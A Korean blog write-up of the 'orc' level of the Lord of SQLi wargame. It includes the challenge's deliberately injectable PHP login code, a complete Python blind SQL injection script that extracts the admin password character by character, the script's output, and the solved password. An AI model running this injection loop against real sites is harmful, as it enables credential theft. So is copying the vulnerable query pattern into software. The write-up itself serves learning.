하루에 한 문제씩 los 문제를 풀어보는 중이다. 다음 문제의 이름은 orc이다.

코드는 다음과 같다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
-------------------------------------------------------------------------------
query : select id from prob_orc where id='admin' and pw=''
-------------------------------------------------------------------------------

<?php 
  include "./config.php"; 
  login_chk(); 
  dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysql_fetch_array(mysql_query($query)); 
  if($result['id']) echo "<h2>Hello admin</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysql_fetch_array(mysql_query($query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc"); 
  highlight_file(__FILE__); 
?>

이번 문제에는 문제를 풀기 위해 아래의 조건문을 통과해야 한다.

1
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc");

입력 한 pw의 값과 데이터베이스에 저장되어 있는 pw의 값이 같아야 한다. 즉, 정확한 pw의 값을 입력해야 문제를 풀 수 있다.

이 문제는 Blind SQL Injection으로 해결했다. Blind SQL Injection은 쿼리 결과 에 따른 서버의 참과 거짓 반응을 통해 공격을 수행한다. 이에 대해 이 전 블로그에 적어둔게 있는데, 지금은 옮기기 귀찮아서 나중에 시간이 될 때 옮겨오려 한다. 문제를 풀기 위해 구현한 exploit 코드는 아래와 같다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import requests

flag = ""
length = 0

url = "http://los.rubiya.kr/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?pw="
session = dict(PHPSESSID = "YOUR SESSION ID")

print "[+] Start"

print "[+] Find length of the password"

for i in range(0, 20):
	try:
		query = url + "1' or id='admin' and length(pw)=" + str(i) + "%23"
		r = requests.post(query, cookies=session)
	except:
		print "[-] Error occur"
		continue

	if 'Hello admin' in r.text:
		length = i
		break

print "[+] Found length : ", length

print "[+] Find password"

for j in range(1, length + 1):
	for i in range(48, 128):
		try:
			query = url + "1' or id='admin' and substr(pw, " + str(j) + ", 1)='" + chr(i)
			r = requests.post(query, cookies=session)
		except:
			print "[-] Error occur"
			continue

		if 'Hello admin' in r.text:
			flag += chr(i)
			print "[+] Found " + str(j), ":", flag
			break

print "[+] Found password : ", flag
print "[+] End"

먼저 pw의 길이를 알아내기 위해, length() 함수를 사용했다. 이 경우 완성되는 쿼리는 다음과 같다.

1
select id from prob_orc where id='admin' and pw='1' or id='admin' and length(pw)=0#'

만약 pw의 길이가 str(i)의 값과 같을 경우 데이터베이스에서는 id='admin' and length(pw)=0의 두 조건이 모두 참이므로 admin의 행이 추출되어 Hello admin이 출력될 것이다. 길이를 찾은 다음에는 해당 길이만큼 반복문을 수행 해 pw를 한 글자 씩 찾았다. substr()을 사용했는데, 이 경우 완성되는 쿼리는 다음과 같다.

1
select id from prob_orc where id='admin' and pw='1' or id='admin' and substr(pw, 0, 1)='0'

이 때도 만약 pw의 str(j)번 째 문자가 chr(i)의 값과 같을 경우 id='admin' and substr(pw, 0, 1)='0'의 모든 조건이 참이 되어 admin의 행이 추출된다. 따라서 Hello admin이 출력된다. 이 exploit 코드를 실행시킨 결과 다음과 같이 pw를 찾을 수 있었다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
$ python ex.py 
[+] Start
[+] Find length of the password
[+] Found length :  8
[+] Find password
[+] Found 1 : 0
[+] Found 2 : 09
[+] Found 3 : 095
[+] Found 4 : 095A
[+] Found 5 : 095A9
[+] Found 6 : 095A98
[+] Found 7 : 095A985
[+] Found 8 : 095A9852
[+] Found password :  095A9852
[+] End

그런데, 095A9852를 입력해도 Hello admin은 출력되지만 문제는 풀리지 않았다. 생각해보니 MySQL에서는 대소문자를 구분하지 않아 만약 aA를 비교해도 참을 반환한다는 것이 생각났다. 그래서 대문자를 소문자로 바꾸어 다시 인증했더니 문제가 풀렸다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
-------------------------------------------------------------------------------------------
query : select id from prob_orc where id='admin' and pw='095a9852'
-------------------------------------------------------------------------------------------

Hello admin
ORC Clear!
<?php 
  include "./config.php"; 
  login_chk(); 
  dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysql_fetch_array(mysql_query($query)); 
  if($result['id']) echo "<h2>Hello admin</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysql_fetch_array(mysql_query($query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc"); 
  highlight_file(__FILE__); 
?>

1
ORC Clear!!`